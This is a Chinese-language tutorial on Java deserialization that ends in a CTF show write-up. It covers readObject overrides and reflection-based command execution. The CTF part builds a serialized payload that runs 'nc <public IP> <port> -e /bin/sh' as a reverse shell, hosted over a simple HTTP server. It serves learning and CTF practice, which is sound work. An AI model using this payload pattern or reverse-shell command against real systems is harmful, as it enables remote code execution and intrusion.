文章目录
1 序列化与反序列化简单示例
1.1序列化
- 定义一个Demo类,并
implements Serializable
,否则无法对其进行序列化操作
package Test;
import java.io.*;
class Demo implements Serializable {
public String a;
public String b;
// Default constructor 构造函数
public Demo(String a, String b){
this.a = a;
this.b = b;
}
}
- 实例化一个Demo对象,应用
ObjectOutputStream.writeObject
方法将Demo对象序列化结果输出至file.ser
文件中
public class Hello {
public static void main(String[] args) throws FileNotFoundException {
Demo object = new Demo("hello", "world"); // Instance 实例化Demo对象
String filename = "file.ser"; // 序列化结果输出文件
// Serialization
try
{
// saving of object in a file
FileOutputStream file = new FileOutputStream(filename);
ObjectOutputStream out = new ObjectOutputStream(file);
// Method for serialization of object
out.writeObject(object);
out.close();
file.close();
System.out.println("Object has been serialized");
} catch (IOException e) {
System.out.println("IOException is caught");
e.printStackTrace();
}
}
}
1.2序列化数据流特征
在Windows系统下使用notepad++,在linux系统下使用hexdump -C file.ser
查看十六进制文件,可以看到文件开头为ac ed 00 05
,该串数字为Java序列化数据流的标志,经过BASE64编码后开头变为rO0
,因此看到以ac ed
开头的数据流,基本上可以判断为Java序列化后的数据。
1.3反序列化
Demo object1 = null;
try // Deserialization
{
// Reading the object from a ser file
FileInputStream file = new FileInputStream(filename);
ObjectInputStream in = new ObjectInputStream(file);
// Method for deserialization of object
object1 = (Demo)in.readObject();
in.close();
file.close();
System.out.println("Object has been deserialized");
System.out.println("a = " + object1.a);
System.out.println("b = " + object1.b);
}
2 readObject方法重写,打开记事本
重写Demo类的readObject方法,在反序列化过程中会执行重写后的代码,只需要在readObject方法中调用Runtime打开记事本即可。
class Demo implements Serializable {
public String a;
public String b;
// Default constructor 构造函数
public Demo(String a, String b){
this.a = a;
this.b = b;
}
private void readObject(ObjectInputStream input) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
input.defaultReadObject();
Runtime.getRuntime().exec("notepad.exe");
}
}
3 应用反射机制实现反序列化代码执行
3.1反射机制相关方法介绍
Java反射机制的原理此处不做介绍,列举一下应用反射原理实现反序列化代码执行的相关方法。
- forName
forName方法的作用是为了动态加载类,程序在最初运行的时候并不把全部需要的类加载至JVM中,在程序运行的过程中根据需要通过类名获取相应的Class对象,并将其加载进来。
Class.forName("java.lang.Runtime") // 加载java.lang.Runtime类
- getMethod(String name,Class…parameterTypes)
getMethod方法根据方法名称和相关参数,来定位需要查找的Method对象并返回。
class.getMethod("method1", String.class, String.class); // 找到一个名称为method1并且参数为两个String类型的方法
class.getMethod("method2", new Class[0]); // 找到一个名称为method2并且无参数的方法
- invoke(Object obj,Object…args)
调用包装在当前Method对象中的方法,第一个参数为实例化的对象,第二个参数为调用该方法需要的参数列表。注意如果调用静态方法,则不需要传入实例化的对象,使用null
占位即可。
3.2定义命令执行恶意exploit方法
- 非静态方法,传入参数
new Demo("Test.Demo", "exploit");
class Demo implements Serializable {
public String a;
public String b;
// Default constructor 构造函数
public Demo(String a, String b){
this.a = a;
this.b = b;
}
public void exploit() throws IOException {
Runtime.getRuntime().exec("notepad.exe");
}
private void readObject(ObjectInputStream input) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
input.defaultReadObject();
Class.forName(a).getMethod(b, new Class[0]).invoke(Class.forName(a).getDeclaredConstructor(String.class, String.class).newInstance("123","123"), new Object[0]);
}
}
下面对应用反射机制调用exploit方法的过程进行拆解
// Class.forName(a).getMethod(b, new Class[0]).invoke(Class.forName(a).getDeclaredConstructor(String.class, String.class).newInstance("123","123"), new Object[0]);
Class c = Class.forName(a); // 参数a为Test.Demo,根据名字找到对应的类,并加载至JVM
Method m = c.getMethod(b, new Class[0]); // 参数b为exploit,由于该方法无参数,因此参数类型列表传入new Class[0]
Object o = c.getDeclaredConstructor(String.class, String.class).newInstance("123","123"); // exploit方法并非静态方法,需要实例化一个对象
m.invoke(o, new Object[0]); // 调用exploit方法,传入刚实例化的对象,由于无参数,因此传入new Object[0]即可
- 静态方法
将exploit
方法加上static
修饰,并将类实例化部分用null
占位即可
Class.forName(a).getMethod(b, new Class[0]).invoke(Class.forName(a), new Object[0]);
4 CTF show [单身杯 WEB] blog
此题目前半部分如何成为admin,class文件读取部分略过,详情请见CTF show单身杯官方wp,重点介绍如果构造反序列化命令执行payload实现反弹shell
UserEntity.java
中反序列化利用点,并且四个参数username
,password
,email
,address
均可控
private void readObject(ObjectInputStream input)
throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException
{
input.defaultReadObject();
Class.forName(username).getMethod(email, new Class[] {
String.class
}).invoke(Class.forName(username).getMethod(password, new Class[0]).invoke(Class.forName(username), new Object[0]), new Object[] {
address
});
}
AdminController.java
从url中读取数据流,并进行反序列化操作
public String adminConsole(String token, String url, HttpSession session, Model model)
throws IOException, ClassNotFoundException
{
if(token != null && token.equals(session.getAttribute("token"))) // 判断token参数是否一致
{
URL fileUrl = new URL(url); // 文件读取
ObjectInputStream objectInputStream = new ObjectInputStream(fileUrl.openStream());
objectInputStream.readObject();
model.addAttribute("message", "\u66F4\u65B0\u6210\u529F");
} else
{
model.addAttribute("message", "\u66F4\u65B0\u5931\u8D25\uFF0Ctoken\u65E0\u6548");
}
return "pageMessage";
}
- 基于上述介绍的应用JAVA反射机制构造反序列化代码执行恶意payload
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException {
UserEntity userEntity = new UserEntity();
userEntity.setUsername("java.lang.Runtime");
userEntity.setPassword("getRuntime");
userEntity.setEmail("exec");
userEntity.setAddress("nc 公网ip地址 监听端口 -e /bin/sh");
FileOutputStream fos = new FileOutputStream("exp");
ObjectOutputStream out = new ObjectOutputStream(fos);
out.writeObject(userEntity);
out.close();
fos.close();
}
}
// 过程分解 java.lang.Runtime.getRuntime().exec("nc 公网ip地址 监听端口 -e /bin/sh")
// 1.从java.lang.Runtime中获取exec方法,方法参数为String.class,调用该exec方法,传入一个getRuntime()对象与方法参数
Class.forName(username).getMethod(email, new Class[] {String.class}).invoke( obj ,new Object[] {address});
// 2. 获取getRuntime()对象,getRuntime为静态方法,并且无参数,因此传入new Class[0]和new Object[0]即可
// 至于Class.forName(username)可以替换为null,对静态方法的调用并无影响
Class.forName(username).getMethod(password, new Class[0]).invoke(Class.forName(username), new Object[0]),
- 将恶意payload对象序列化,结果数据输出至exp文件,传到云服务器,用
python3 -m http.server 80
开启一个简单的web服务器
- 构造POST请求,利用反序列化过程中的代码执行实现反弹shell
- 到根目录下读取flag